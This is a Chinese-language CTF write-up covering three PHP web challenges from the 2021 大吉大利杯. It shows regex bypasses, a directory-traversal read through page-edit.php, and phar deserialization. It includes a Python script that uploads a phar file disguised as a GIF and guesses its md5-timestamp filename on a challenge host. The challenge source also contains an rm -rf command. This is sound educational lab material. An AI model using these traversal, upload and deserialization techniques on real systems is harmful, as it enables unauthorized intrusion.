2021大吉大利杯

大吉大利杯web部分wp

菜炸了,一部分题是自己做出来的,一部分题是看wp复现的

spaceman

php代码审计,源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

php://input 与 $_POST

先说说php://input传参的问题,当直接poststr=xxxx的时候可以直接传入变量str,但是当poststr=xxx&pass_word=xxx的时候,php://input会将这一整串赋值给str,因为其中有下划线,所以无法绕过,测试如下:

image-20210124173439968

上网查找相关资料,发现:

1
2
3
1.Coentent-Type仅在取值为application/x-www-data-urlencoded和multipart/form-data两种情况下,PHP才会将http请求数据包中相应的数据填入全局变量$_POST

2.只有Coentent-Type为multipart/form-data的时候,PHP不会将http请求数据包中的相应数据填入php://input,否则其它情况都会。

也就是说,Coentent-Type为multipart/form-data时,php://input为空而$_POST不为空,从而绕过该正则。至于如何传呢,我是使用插件Tabbed Postman - REST Client,其他的方法我也不会(菜)

反序列化

刚开始觉得filter函数吞掉了俩字符,会导致反序列无法正常进行,后面发现,这个filter函数过滤了个寂寞。。。

image-20210124175714492

正常情况下压根儿就没有ctfshowup给他进行替换。。。所以直接以form-data,post一个pass_word=ctfshowvip即可,user_name随便填

可能是出题没想到这个非预期吧

veryphp

也是一道php代码审计,源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

php://input 与 $_POST

传参问题与上一题一样,这里就不再赘述了。

正则

绕了半天不知道这个正则想匹配些啥(可能是我太菜了),不过最后总算是绕过去了,学习正则的话可以参考这篇文章:正则表达式30分钟入门教程,最后给出$shaw_root的值:-a9<b>>>>>abcaaaaaaaa.php@Rr.

$SecretNumber

绕过正则之后得到一个hint:Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5,感觉出题人是想让我们根据这个hint把SecretNumber爆出来,但是这里两个变量都可控,应该是被非预期了。。。

call_user_func

又是一个变量的call_user_func。。。上回我盯着phpinfo看了大半天。。。这次也是先传入一个phpinfo找找,但是并没发现什么可疑的东西,然后又搜了下flag,也没找到。然后这时候想起最前面的qwq类以及其静态方法,刚开始直接传入my_ans=oao,但是发现行不通。。。于是去Google了一下call_user_func如何调用类的静态方法:

image-20210125094308165

因为oao函数没有参数,所以可以传入my_ans数组从而调用该静态方法,最后payload:

image-20210125094459116

虎山行&revenge

这题真的不会,之前也没有做过phar的反序列化,基本上都是靠着各种wp和资料复现的。

打开之后有个hint:

image-20210125124151116

访问之后:

image-20210125124217163

安装看看:

image-20210125124326307

假装自己扫了一下目录:

image-20210125125220618

拿到源码之后先拿d盾扫一下:

image-20210125184218268

好像没啥用,后面同学和我说可以传file直接目录穿越(审计源码能力太差了):

image-20210126093915671

然后打开:/ctfshowsecretfilehh:

image-20210126094004259

利用/mc-admin/page-edit.php?file=../../../../../../../var/www/html/ctfshowsecretfilehh/waf.php读取waf.php源码:

image-20210126114719848

1
2
3
4
5
6
7
8
<?php
function waf($file){
    if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return $file;
    }
}

再用/mc-admin/page-edit.php?file=../../../upload.php读取upload.php的源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000)   // 小于 2000kb
&& in_array($extension, $allowedExts))
{
	if ($_FILES["file"]["error"] > 0)
	{
		echo "文件出错: " . $_FILES["file"]["error"] . "<br>";
	}
	else
	{
		if (file_exists("upload/" . $_FILES["file"]["name"]))
		{
			echo $_FILES["file"]["name"] . " 文件已经存在。 ";
		}
		else
		{
			$md5_unix_random =substr(md5(time()),0,8);
			$filename = $md5_unix_random.'.'.$extension;
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
            echo "上传成功,文件存在upload/";
		}
	}
}
else
{
	echo "文件类型仅支持jpg、png、gif等图片格式";
}
?>

这里直接参考yu22x师傅博客里的脚本找上传的文件名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time
import hashlib
def geturl(s):
    a=hashlib.md5(str(int(s)).encode()).hexdigest()
    return "http://b8876a9e-71b3-4a02-b8c4-80f02ec058a5.chall.ctf.show/upload/"+a[:8]+'.gif'
#coding:utf-8
while True:
    url="http://b8876a9e-71b3-4a02-b8c4-80f02ec058a5.chall.ctf.show/upload.php"
    files={'file':('exp.gif',
        open('exp.gif','rb'),
        'image/gif'
        )}
    r=requests.post(url,files=files)
    print(r.text)
    a=time.time()
    r2=requests.get(geturl(a))
    r3=requests.get(geturl(a-1))#存在延时多试几个时间
    if("我的网站" not in  r2.text or "我的网站" not in  r3.text):
        print(geturl(a))
        print(geturl(a-1))
        break
    else:
        time.sleep(0.3)

先在/uplaod上传一个phar文件(后缀名已改为gif),然后再用该脚本找文件名:

然后访问hint.txt:

image-20210127123518266

访问/ctfshowgetflaghhhh:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
    public $username='Firebasky';
    public $password;
    function __destruct() {
        if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
            system('cp /ctfshow* /var/www/html/flag.txt');
        }
    }
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

因为md5之后有一个强制类型转换,所以当md值是字母开头的时候会变成0,所以我们可以令password为0,然后多试几次既可:

image-20210127124645962

后面有个system('rm -rf /var/www/html/flag.txt');删掉flag,理论上需要条件竞争,但是不知道为啥狂点了几次hackbar的EXECUTE之后就可以直接url访问。。。。迷

image-20210127124946215

revenge只有路由的名字不一样,不知道有啥意义。。。迷

Licensed under CC BY-NC-SA 4.0
comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy